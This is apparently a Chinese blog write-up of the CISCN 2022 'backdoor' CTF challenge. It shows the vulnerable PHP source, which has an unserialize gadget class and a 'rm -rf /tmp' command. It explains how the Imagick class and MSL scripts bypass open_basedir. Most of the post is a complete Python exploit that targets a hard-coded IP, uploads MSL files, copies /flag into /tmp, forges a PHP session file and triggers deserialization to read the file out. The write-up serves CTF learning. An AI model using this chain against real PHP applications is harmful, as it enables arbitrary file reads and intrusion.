今天做题遇到一个新的知识点,接下来回顾下。
源码
<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());class fumo_backdoor {public $path = null;public $argv = null;public $func = null;public $class = null;public function __sleep() {if (file_exists($this->path) && preg_match_all('/[flag]/m', $this->path) === 0) {readfile($this->path);}}public function __wakeup() {$func = $this->func;if (is_string($func) && in_array($func, FUNC_LIST["internal"])) {call_user_func($func);} else {$argv = $this->argv;$class = $this->class;new $class($argv);}}
}$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];switch ($cmd) {case 'unserialze':unserialize($data);break;case 'rm':system("rm -rf /tmp 2>/dev/null");break;default:highlight_file(__FILE__);break;
}
https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
这篇文章介绍了imagick类,由于 Imagick 底层实现并不在 php 里,因此使用 Imagick 去读取文件可以无视 open_basedir。
imagick:文章中提到 ImageMagick 格式是 MSL。MSL 代表 Magick 脚本语言。它是一种内置的ImageMagick 语言,有助于读取图像、执行图像处理任务以及将结果写回文件系统。
而上图中的msl文件内容意思就是读取positive.png的内容,写入/tmp/xxxxx下,那我们能不能读取/flag写入/tmp目录下,然后反序列化读取文件就可以得到我们的flag了。
最后附上一篇大佬的payoad:
payload
import requests
import base64
import time
import reurl = "http://192.168.137.131:28999/index.php"
url = "http://182.92.6.230:18080"
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"
}write_session_params = 'O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D'trigger_sleep_payload = 'aaa|O:13:"fumo_backdoor":4:{s:4:"path";s:9:"/tmp/xxxx";s:4:"argv";N;s:4:"func";s:12:"zend_version";s:5:"class";N;}'trigger_sleep_params = 'O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D&cmd=unserialze'def gen_ppm(payload):ppm_content = '''P6
9 9
255
{}'''.format((243-len(payload))*"\x00" + payload)ppm_content = base64.b64encode(ppm_content.encode()).decode()return ppm_contentdef rm_tmp_file():headers = {"Accept": "*/*"}requests.get(f"{url}/?cmd=rm",headers=headers,proxies=proxies)def upload_file(file_content,file_path):headers = {"Accept": "*/*","Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"}data = f"--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"inline:data://image/x-portable-anymap;base64,{file_content}\" />\r\n <write filename=\"{file_path}\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"try:requests.post(f"{url}/?data={write_session_params}&cmd=unserialze",headers=headers, data=data,proxies=proxies)except requests.exceptions.ConnectionError:passdef upload_session():payload = gen_ppm(trigger_sleep_payload)upload_file(payload,"/tmp/sess_afkl")def copy_flag():headers = {"Accept": "*/*","Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"}data = f"--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"mvg:/flag\" />\r\n <write filename=\"/tmp/xxxx\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"try:requests.post(f"{url}/?data={write_session_params}&cmd=unserialze",headers=headers, data=data,proxies=proxies)except requests.exceptions.ConnectionError:passdef get_flag():cookies = {"PHPSESSID": "afkl"}headers = {"Accept": "*/*"}response = requests.get(f"{url}/?data={trigger_sleep_params}&cmd=unserialze", headers=headers, cookies=cookies,proxies=proxies)print(response.text)return re.findall(r"(flag\{.*\})", response.text)if __name__ == '__main__':rm_tmp_file()time.sleep(2)copy_flag()time.sleep(2)upload_session()time.sleep(2)get_flag()
https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md
总结:
- imagick类的利用
- 通过php session反序列化来触发__sleep魔术方法